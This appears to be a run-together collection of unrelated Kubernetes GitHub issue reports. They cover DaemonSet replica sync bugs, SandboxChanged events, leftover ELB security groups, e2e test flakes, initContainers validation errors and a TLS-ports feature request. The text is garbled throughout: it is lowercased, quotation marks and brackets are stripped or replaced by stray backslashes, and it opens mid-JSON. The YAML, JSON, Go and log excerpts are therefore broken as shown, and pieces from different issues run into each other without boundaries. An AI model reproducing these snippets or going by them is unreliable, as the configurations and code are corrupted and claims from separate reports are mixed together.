:\\\ daemon-set\\\ ,\\\ uid\\\ :\\\ 960fc6c1-809b-11e7-9b8d-0e135d60f09a\\\ ,\\\ apiversion\\\ :\\\ extensions\\\ ,\\\ resourceversion\\\ :\\\ 26974\\\ }}\ \ ,\ openshift.io/scc\ :\ anyuid\ },\ ownerreferences\ : {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ daemonset\ ,\ name\ :\ daemon-set\ ,\ uid\ :\ 960fc6c1-809b-11e7-9b8d-0e135d60f09a\ ,\ controller\ :true,\ blockownerdeletion\ :true} },\ spec\ :{\ volumes\ : {\ name\ :\ default-token-3bszl\ ,\ secret\ :{\ secretname\ :\ default-token-3bszl\ ,\ defaultmode\ :420}} ,\ containers\ : {\ name\ :\ app\ ,\ image\ :\ gcr.io/k8s-testimages/redis:e2e\ ,\ ports\ : {\ containerport\ :9376,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ default-token-3bszl\ ,\ readonly\ :true,\ mountpath\ :\ /var/run/secrets/kubernetes.io/serviceaccount\ } ,\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ securitycontext\ :{\ capabilities\ :{\ drop\ : \ mknod\ ,\ sys_chroot\  },\ privileged\ :false,\ selinuxoptions\ :{\ level\ :\ s0:c50,c5\ }}} ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ serviceaccountname\ :\ default\ ,\ serviceaccount\ :\ default\ ,\ nodename\ :\ ip-172-18-10-2.ec2.internal\ ,\ securitycontext\ :{\ selinuxoptions\ :{\ level\ :\ s0:c50,c5\ }},\ imagepullsecrets\ : {\ name\ :\ default-dockercfg-vjpmg\ } ,\ schedulername\ :\ default-scheduler\ ,\ tolerations\ : {\ key\ :\ node.alpha.kubernetes.io/notready\ ,\ operator\ :\ exists\ ,\ effect\ :\ noexecute\ },{\ key\ :\ node.alpha.kubernetes.io/unreachable\ ,\ operator\ :\ exists\ ,\ effect\ :\ noexecute\ } },\ status\ :{\ phase\ :\ pending\ ,\ conditions\ : {\ type\ :\ initialized\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-08-14t02:52:24z\ },{\ type\ :\ ready\ ,\ status\ :\ false\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-08-14t02:52:24z\ ,\ reason\ :\ containersnotready\ ,\ message\ :\ containers with unready status:  app \ } ,\ hostip\ :\ 172.18.10.2\ ,\ starttime\ :\ 2017-08-14t02:52:24z\ ,\ containerstatuses\ : {\ name\ :\ app\ ,\ state\ :{\ terminated\ :{\ exitcode\ :0,\ startedat\ :null,\ finishedat\ :null}},\ laststate\ :{},\ ready\ :false,\ restartcount\ :0,\ image\ :\ gcr.io/k8s-testimages/redis:e2e\ ,\ imageid\ :\ \ } ,\ qosclass\ :\ besteffort\ }} }\r \r  aftereach   k8s.io  daemon set  serial \r

background  \r as part of ga goal of core controllers, unit, integration, e2e, cmd, and upgrade tests of replicaset have to be revamped based on test plan guidelines suggested by @enisoc. this issue lists all necessary tasks for unit, e2e, cmd, and upgrade tests. tasks for the integration tests are covered by  51484.\r \r   unit test  \r -  x  refactor sync call tree so we can unit test decisions  on this sync pass, create this, delete that  without needing a test fixture with mocks.  pr  54185  \r -  x  remove unit tests made redundant by new integration tests introduced in pr  52067  especially ones that need reactor/mock setup .  pr  52354 \r -     ~introduce helper functions that output which rss should be enqueued for all types of pod event.~\r \r   end-to-end test  \r -  x  combine adopt and release tests into one to share setup/teardown.  pr  52320 \r \r   kubectl command test  \r -  x  test all appropriate kubectl commands.  pr  51061 \r \r   upgrade test  \r -  x  test that rs survives upgrade.  pr  52449

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r /assign\r \r   what happened  :\r move apis to beta.  no new functionality added for this change.\r \r

 \r if a pv's zone annotation format indicates that it's a regional pd, but pdname corresponds to a regular pd, currently the gce pd plugin allows attach to succeed. it should fail, because the mismatch is often caused by user error.\r \r   /assign

 \r   what happened  :\r \r sandboxchanged events occurring very often for jobs, even very simple jobs. see below.\r \r looks similar to  58201 but that issue died.\r \r   what you expected to happen  :\r \r no  or very few  sandboxchangedevents to be raised.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r apply this in a new namespace.\r \r    apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   namespace: jobs\r   name: test-sandbox-event\r spec:\r   schedule: \          \ \r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r           - name: test-sandbox-event\r             image: busybox\r             command:  \ date\  \r           restartpolicy: never\r    \r \r and then watch the events. sandboxchanged occurs most job runs.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.8\ , gitcommit:\ c138b85178156011dc934c2c9f4837476876fb07\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t18:53:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration:\r \r aws\r \r - os  e.g. from /etc/os-release :\r \r debian gnu/linux 9  stretch \r \r - kernel  e.g.  uname -a  :\r \r  linux ip-172-20-61-35 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux \r \r - install tools:\r \r kops 1.9.1\r \r - others:\r \r flannel v0.9.1\r

what happened  :\r occasionally we get a daemonset stuck with less current replicas than desired, causing a daemonset sync tends to fix it, e.g  add a new node . this happens to all our daemonsets. i'm using fluentd as an example.\r    \r name      desired   current   ready   up-to-date   available   node selector   age\r fluentd   59        58        58      58           58          <none>          717d\r    \r there are no daemonsets pods in pending nor are there any errors when describing the daemonset\r    \r name:           fluentd\r selector:       app=fluentd\r node-selector:  <none>\r labels:         app=fluentd\r annotations:    deprecated.daemonset.template.generation: 20\r                 kubectl.kubernetes.io/last-applied-configuration:\r                   {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ daemonset\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ fluentd\ ,\ namespace\ :\ kube-system\ },\ spec\ :{\ te...\r desired number of nodes scheduled: 59\r current number of nodes scheduled: 58\r number of nodes scheduled with up-to-date pods: 58\r number of nodes scheduled with available pods: 58\r number of nodes misscheduled: 0\r pods status:  58 running / 0 waiting / 0 succeeded / 0 failed\r pod template:\r   labels:       app=fluentd\r   annotations:  iam.amazonaws.com/role: cloud_fluentd_logging\r                 prometheus.io/port: 24231\r                 prometheus.io/scrape: true\r   containers:\r    fluentd:\r     image:      quay.io/uswitch/fluentd:2.1.0-fluentd-1.2-alpine\r     port:       <none>\r     host port:  <none>\r     limits:\r       memory:  4gi\r     requests:\r       cpu:      50m\r       memory:   512mi\r     readiness:  http-get http://:24231/metrics delay=0s timeout=1s period=10s  success=1  failure=3\r     environment:\r       fluent_uid:   0\r       fluentd_opt:  --no-supervisor\r     mounts:\r       /fluentd/etc from fluentd-config  ro \r       /var/lib/docker/containers from docker-containers  ro \r       /var/log from logs  rw \r       /var/run/docker.sock from docker  rw \r   volumes:\r    logs:\r     type:          hostpath  bare host directory volume \r     path:          /var/log\r     hostpathtype:\r    docker-containers:\r     type:          hostpath  bare host directory volume \r     path:          /var/lib/docker/containers\r     hostpathtype:\r    docker:\r     type:          hostpath  bare host directory volume \r     path:          /var/run/docker.sock\r     hostpathtype:\r    fluentd-config:\r     type:      configmap  a volume populated by a configmap \r     name:      fluentd-config\r     optional:  false\r events:\r   type    reason            age   from                  message\r   ----    ------            ----  ----                  -------\r   normal  successfuldelete  59m   daemonset-controller  deleted pod: fluentd-gt9ml\r   normal  successfulcreate  57m   daemonset-controller  created pod: fluentd-gdr95\r   normal  successfuldelete  54m   daemonset-controller  deleted pod: fluentd-4xrth\r   normal  successfulcreate  53m   daemonset-controller  created pod: fluentd-znktv\r   normal  successfuldelete  47m   daemonset-controller  deleted pod: fluentd-8t6kz\r   normal  successfulcreate  34m   daemonset-controller  created pod: fluentd-xcvj7\r   normal  successfuldelete  32m   daemonset-controller  deleted pod: fluentd-gv467\r    \r   what you expected to happen  :\r the daemonset pod to be scheduled\r \r   how to reproduce it  as minimally and precisely as possible   :\r reproducing this state is very tricky, i've had the most success by terminating nodes in our asg causing a new one to come up.\r \r however i think i've identified why this is happening.\r the issue appears to be related to daemonset pod deletion, a pod gets deleted causing  deletepod  to trigger, this lowers the expectations by  del: -1  as expected. \r    \r i0328 15:44:49.470363       1 daemon_controller.go:686  pod fluentd-gv467 deleted.\r i0328 15:44:49.470387       1 controller_utils.go:235  lowered expectations &controller.controlleeexpectations{add:0, del:-1, key:\ kube-system/fluentd\ , timestamp:time.time{wall:0xbf1f58d9e8ff2cb3, ext:238457973525, loc:  time.location  0x9578760 }}\r    \r the delete pod event then triggers a sync of the daemonset, in which it finds  podstodelete  which involves fetching pods from the informer cache\r    go\r pods, err := dsc.podlister.pods ds.namespace .list labels.everything   \r    \r this is somehow returning the deleted pod. you can see in the logs here  syncnodes  thinks that it needs to delete the pod that was deleted. it is also setting the expectation back to  del: 1  after the delete pod event previously lowered it by 1.\r    \r i0328 15:44:49.473164       1 controller_utils.go:218  setting expectations &controller.controlleeexpectations{add:0, del:1, key:\ kube-system/fluentd\ , timestamp:time.time{wall:0xbf1f58dc5c33c66b, ext:248243317929, loc:  time.location  0x9578760 }}\r i0328 15:44:49.473197       1 daemon_controller.go:1016  nodes needing daemon pods for daemon set fluentd:   , creating 0\r i0328 15:44:49.473259       1 daemon_controller.go:1102  pods to delete for daemon set fluentd:  fluentd-gv467 , deleting 1\r    \r at this point you're stuck as the  syncdaemonset  function can't get past this line\r    go\r if !dsc.expectations.satisfiedexpectations dskey  {\r \t\t// only update status.\r \t\treturn dsc.updatedaemonsetstatus ds, hash \r \t}\r    \r as the expectation can not be satisfied as syncnodes set it back to  del: 1  and there's nothing it to get it back to  del: 0 . \r \r so i believe this is what's causing us to get less replicas than expected, the  syncdaemonset  function is stuck due to the expectation so it can't perform a full sync to schedule the new pods. there's also not much to trigger a new sync once the expectation has expired until a new node comes up or one goes down. \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.7\ , gitcommit:\ 6f482974b76db3f1e0f5d24605a9d1d38fad9a2b\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t02:41:57z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g:  cat /etc/os-release  : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=2023.5.0\r version_id=2023.5.0\r build_id=2019-03-09-0138\r pretty_name=\ container linux by coreos 2023.5.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r  4.19.25-coreos  1 smp sat mar 9 01:05:06 -00 2019 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux

kubectl version  client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ }     environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : centos 7 64bit -   kernel    e.g.  uname -a  :3.10.0-327.10.1.el7.x86_64 -   install tools  : -   others  :    what happened  : removing a service which has an elb  either internal or public  does not remove the associated elb sg    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible : create a service with       spec:   type: loadbalancer      wait for the service to finish. then delete the service and observe the elb sg which is a left over.    anything else do we need to know  : the elb sg is not getting deleted as it referenced in the kubenode's sg too. deleting the referencing sg from the kubenode sg then it goes ahead and deletes the actual elb sg too  automatically

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-slow/10085/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should update endpoints: udp {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:164 oct  6 09:41:41.412: failed to find expected endpoints: tries 0 command curl -q -s 'http://10.180.1.17:8080/dial?request=hostname&protocol=udp&host=10.0.249.109&port=90&tries=1' retrieved map   expected map netserver-0:{} netserver-1:{} netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/utils/networking_utils.go:207

we only use the statusreason consts defined in pkg/api/types.go. some of the constants are duplicated in api/types and api/v1beta{1,2,3}/types.go  while some are not.  since statusreason\\  constants defined in api/v1beta{1,2,3}/types.go are not used anywhere, can we just delete them?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a bug report or feature request?    choose one :\r small feature request\r \r   what you expected to happen  :\r a frequent user request is the ability to encrypt the backend communication for l7 load balancing. we cannot provide this currently because a service port is only described by its protocol, and any given ingress controller cannot make an accurate determination of using https. \r \r   feature  \r although it won't change how they're are implemented, it seems appropriate that the service resource dictate whether the backend is expecting encryption or not. multiple ingress resources could then point to the same service and respect its behavior. \r \r start with annotating the service with a list of ports/portnames.  eg:\r    \r     service.beta.kubernetes.io/tls-ports: \  \\\ 443\\\ ,\\\ abc\\\  \ \r    \r \r if this indicator is deemed useful as an annotation during alpha, it could be later moved to the port struct as a boolean flag.\r    \r   ports:\r   - port: 443\r     protocol: tcp\r     tls: true\r     name: http\r    \r \r in regards to the associated  endpoints  resource, it does not seem immediately useful to propagate this flag over, but could be done later if necessary.\r \r cc @thockin

more details in issue https://github.com/kubernetes/test-infra/issues/4059\r \r in short, all jobs against 1.5 branch are failing to delete the master vm  and hence also the master-pd  and route for the master  and hence also the network . for e.g:\r \r    \r w0814 10:39:48.504  error:  gcloud.compute.disks.delete  could not fetch resource:\r w0814 10:39:48.504   - the disk resource 'projects/k8s-gce-cvm-1-6-1-5-ctl-skew/zones/us-central1-f/disks/bootstrap-e2e-master-pd' is already being used by 'projects/k8s-gce-cvm-1-6-1-5-ctl-skew/zones/us-central1-f/instances/bootstrap-e2e-master'\r    \r \r    \r w0814 10:40:52.170  error:  gcloud.compute.networks.delete  could not fetch resource:\r w0814 10:40:52.170   - the network resource 'projects/k8s-gce-cvm-1-6-1-5-ctl-skew/global/networks/bootstrap-e2e' is already being used by 'projects/k8s-gce-cvm-1-6-1-5-ctl-skew/global/routes/bootstrap-e2e-8d2a127e-80c8-11e7-8d23-42010af00002'\r    \r \r for ref - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-release-1-5/296\r \r cc @kubernetes/test-infra-maintainers @krzyzacy

 \r test   k8s.io/kubernetes/pkg/kubectl/apps.testapps   continually failing.\r \r  test grid failure  https://k8s-testgrid.appspot.com/sig-cli unit-integration-cmd&sort-by-failures=&exclude-non-failed-tests= \r  \r <testsuite tests=\ 1\  failures=\ 1\  time=\ 1.033\  name=\ k8s.io/kubernetes/pkg/kubectl/apps\ >\r <properties>\r <property name=\ go.version\  value=\ go1.8.3\ />\r </properties>\r <testcase classname=\ apps\  name=\ testapps\  time=\ 0.000\ >\r <failure message=\ failed\  type=\ \ />\r </testcase>\r </testsuite>\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r tracker bug for storageclass api changes as specified in kubernetes/community 1168\r \r /assign

service gets struck in pending state forever when a user request for the creation of service with type load-balancer and the container network plugin was already exhausted the maximum limit of lb ip's\r \r actual behaviour:\r service creation get struck when max limit of lb is reached\r \r expected behaviour:\r service creation should be mark as failed as cnp clearly reports it cant created any further lb ip's\r \r cnp log\r ++++++++++\r 67071ab8', u'02f59f81-0d8f-4dbd-80ee-9c493c40421b', u'b0e0a528-09a8-4dd3-ab53-2e99196683c0' : unexpected error from backend manager   'sfo01w01nsx01.sfo01.rainpole.local'   for put api/v1/loadbalancer/services/e7024138-fec8-4f37-9dee-ee2783ceb1c1 : found errors in the request. please refer to the relatederrors for details. relatederrors: exceed maximum number of virtual servers on the load balancer service. the maximum size of virtual servers for small load balancer service form factor is 10, current size of virtual servers is 11\r ++++++++++++\r \r +++++++++\r name      type           cluster-ip      external-ip   port s         age\r web03     loadbalancer   10.100.200.47   <pending>     80:30388/tcp   14m\r ++++++++++\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r   why is this needed  :\r \r https://github.com/kubernetes/kubernetes/pull/75434 discussion_r266350830

as mentioned in https://github.com/kubernetes/kubernetes/pull/27587 discussion_r67451976 when the service is deleted from the underlying cluster, the controller should recreate it, but it does not.  below's a transcript.   ukc  is talking to the federation-apiserver, and  kc  is talking to the normal cluster it's pointed at.      console % tee > cat  < ../data.kubernetes/cluster.yaml| ukc create -f - apiversion: federation/v1alpha1 kind: cluster metadata:   name: federation-e2e-gce-us-central1-f spec:   secretref:     name: federation-e2e-gce-us-central1-f   serveraddressbyclientcidrs:   - clientcidr: 0.0.0.0/0     serveraddress: https://130.211.176.7 cluster \ federation-e2e-gce-us-central1-f\  created  % tee > cat  < ../data.kubernetes/service.yaml| ukc create -f - apiversion: v1 kind: service metadata:   name: e2e-foo spec:   selector:     foo: bar   ports:     - name: portname1       port: 80       targetport: svc1     - name: portname2       port: 80       targetport: svc2  service \ e2e-foo\  created  % ukc get services -oname service/e2e-foo  % kc get services -oname service/e2e-foo service/kubernetes  % kc delete service e2e-foo service \ e2e-foo\  deleted  % kc get services -oname -w krun: using _output/dockerized/bin service/kubernetes ^c%

unit/integration test flakes\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/39883/pull-kubernetes-unit/15760/\r \r test failures\r \r k8s.io/kubernetes/federation/pkg/federation-controller/namespace testnamespacecontroller 22s\r go test -v k8s.io/kubernetes/federation/pkg/federation-controller/namespace -run testnamespacecontroller$\r 0xacdf3d\tk8s.io/kubernetes/federation/pkg/federation-controller/util/test.registerfakewatch.func1+0x14d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/test/test_helper.go:155\r 0x44355e\tsync.runtime_notifylistwait+0x12e\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/sema.go:267\r 0x4da0dd\tsync.  cond .wait+0x8d\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/sync/cond.go:57\r 0x5d7add\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  deltafifo .pop+0xed\t\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/delta_fifo.go:407\r 0x5d3fd0\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller .processloop+0x70\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:128\r 0x5e2d51\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller . k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.processloop -fm+0x41\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:102\r 0xab863f\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1+0x6f\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:96\r 0xab7f2d\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil+0xbd\t\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r 0xab7e4a\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until+0x5a\t\t\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r 0x5d3d8e\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller .run+0x24e\t\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:102\r 0x5de2b9\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .watchhandler+0x1689\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:346\r 0x5dbf6b\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .listandwatch+0xe3b\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:317\r 0x5e35fa\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .rununtil.func1+0x4a\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:198\r 0xab863f\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1+0x6f\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:96\r 0xab7f2d\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil+0xbd\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r 0xab7e4a\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until+0x5a\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r 0x5e3aa3\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .listandwatch.func1+0x3b3\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:266\r 0x60cc1a\tk8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .run+0x63a\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:122\r 0x6130c7\tk8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .startwithhandler.func1+0x157\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:174\r 0x4972ad\ttesting.  t .run+0x56d\t\t/usr/local/go/src/testing/testing.go:647\r 0x49bb99\ttesting.runtests.func1+0xb9\t/usr/local/go/src/testing/testing.go:793\r 0x496cc9\ttesting.trunner+0xc9\t\t/usr/local/go/src/testing/testing.go:610\r 0x49868a\ttesting.runtests+0x4ba\t\t/usr/local/go/src/testing/testing.go:799\r 0x49785f\ttesting.  m .run+0x12f\t\t/usr/local/go/src/testing/testing.go:743\r 0x401428\tmain.main+0x1b8\t\t\tk8s.io/kubernetes/federation/pkg/federation-controller/namespace/_test/_testmain.go:54\r 0x430fec\truntime.main+0x18c\t\t/usr/local/go/src/runtime/proc.go:183\r 0x4aac2d\tk8s.io/kubernetes/federation/pkg/federation-controller/namespace.  namespacecontroller .run.func1+0x4d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/namespace/namespace_controller.go:264\r 0x5d0452\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch.  broadcaster .loop+0x92\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch/mux.go:201\r 0xaab3d5\tk8s.io/kubernetes/pkg/client/record.  eventbroadcasterimpl .starteventwatcher.func1+0xc5\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/record/event.go:228\r 0xab2e5d\tk8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon+0x9d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879\r 0x612f56\tk8s.io/kubernetes/federation/pkg/federation-controller/util.startbackoffgc.func1+0x126\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/backoff.go:28\r 0x55162d\truntime/pprof.writeruntimeprofile+0xbd\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:614\r 0x5513c9\truntime/pprof.writegoroutine+0xc9\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:576\r 0x54cc4d\truntime/pprof.  profile .writeto+0x47d\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:298\r 0xacda56\tk8s.io/kubernetes/federation/pkg/federation-controller/util/test.checkobjectfromchan+0x2a6\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/test/test_helper.go:257\r 0x4a8031\tk8s.io/kubernetes/federation/pkg/federation-controller/namespace.testnamespacecontroller+0x1ae1\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/namespace/namespace_controller_test.go:140\r 0x496cc9\ttesting.trunner+0xc9\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/testing/testing.go:610\r <autogenerated>:10: \r                         \r \terror trace:\tnamespace_controller_test.go:140\r \t\r \terror:\t\treceived unexpected error \ failed to get an object from channel\ \r \t\r <autogenerated>:10: \r                         \r \terror trace:\tnamespace_controller_test.go:147\r \t\r \terror:\t\t\ map  \  does not contain \ a\ \r \tfrom junit_5cb0d5e1ecc23f62a6096d1036d646a6611481ad_20170131-153501.xml

hi guys:\r            see my rc file. \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: webapp\r spec:\r   replicas: 2\r   template:\r     metadata:\r       name: webapp\r       labels:\r         app: webapp\r     spec:\r       initcontainers:\r       - name: install\r         image: busybox\r         command:\r         - mv\r         - \ -f\ \r         - \ /configfile/index.html\ \r         - \ /usr/local/tomcat/webapps/root/\ \r         volumemounts:\r         - name: indexhtml\r           mountpath: /configfile\r         volumes:\r         - name: indexhtml\r           configmap:\r             name: webapp-config\r       containers:\r       - name: webapp\r         image: tomcat\r         ports:\r         - containerport: 80\r         volumemounts:\r         - mountpath: /usr/local/tomcat/logs\r           name: logfile\r       volumes:\r       - hostpath:\r           path: /tomcat-logs\r         name: logfile\r                             \r    \r \r i used command  kubectl create -f rc.yaml \r i got this error \r    \r error: error validating \ webapp-rc.yaml\ : error validating data: found invalid field initcontainers for v1.podspec; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r maybe my kubernetes version is wrong ?\r my version is 1.5.2

 \r   what happened  : \r \r   what you expected to happen  :\r \r kubectl create -f stats-svc.yaml \r error from server  badrequest : error when creating \ stats-svc.yaml\ : service in version \ v1\  cannot be handled as a service:  pos 214 : json: expect char '\ ' but got char '1'\r \r \r \r   how to reproduce it  as minimally and precisely as possible   : i edited existed replication controller file made by terraform and modified to be service definition. and got above message. whatever i do, it won't apply the service. \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : aws\r \r - os  e.g. from /etc/os-release : centos linux release 7.3.1611  core  \r \r - kernel  e.g.  uname -a  : 3.10.0-514.26.1.el7.x86_64\r - install tools: kops\r - others: i think this is famous 